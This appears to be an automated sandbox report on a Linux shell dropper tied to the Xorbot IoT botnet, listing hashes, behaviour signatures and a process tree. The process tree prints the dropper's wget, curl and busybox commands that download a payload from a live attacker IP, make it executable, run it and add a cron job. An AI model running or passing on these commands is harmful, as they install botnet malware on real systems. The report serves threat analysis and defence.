Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02-12-2024 17:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8dd8477a41d76f42eeb1f7c1c86cec30

  • SHA1

    d5707dacacae6f85bcdc053011ca5cca9381e083

  • SHA256

    c8242f14c875afa35b81c88aca43b9616dcb459f5d4bde4c63089ae8a8e41bb4

  • SHA512

    075b27d936a5e688eff44679ee0ba046b6cccbab994934738456b7209c160871a083e8e95b4555d6ae276c10b6ca9c884a6a0870d195675f78acffc29a19f493

  • SSDEEP

    192:09Vvuq1eyOISkUERNddwsFyIA6bnHFANNPQcrrdwTIA6bnBkkUERNANNPQcrI9Vb:09Vvuq1eyOIBFyIA6bnHPIA6bnV9Vvuq

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2197) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /bin/chmod
          chmod 777 wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • File and Directory Permissions Modification
          PID:1483
        • /tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          ./wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1484
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1486
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1487
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1488
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1489
              • /bin/rm
                rm wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
                2⤵
                  PID:1499
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
                  2⤵
                    PID:1502

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.pgwLhx

                  Filesize

                  210B

                  MD5

                  c187025093872aee87a398caa8dea554

                  SHA1

                  3d01524a2cae4622c5056cbfb943ccbf5628ced8

                  SHA256

                  0d72430e77c18591c202b6fbd5696a9561baed8126c3e09b5b7b8f9b4285e4a0

                  SHA512

                  aa818f8f498ab6f71c8830335956dac0f9bd2de1cae5d67653022b0086a2a06f98aa23d99cd02705ae96c4ebba435919251240141bbec56b2f1967e99fe6bcd9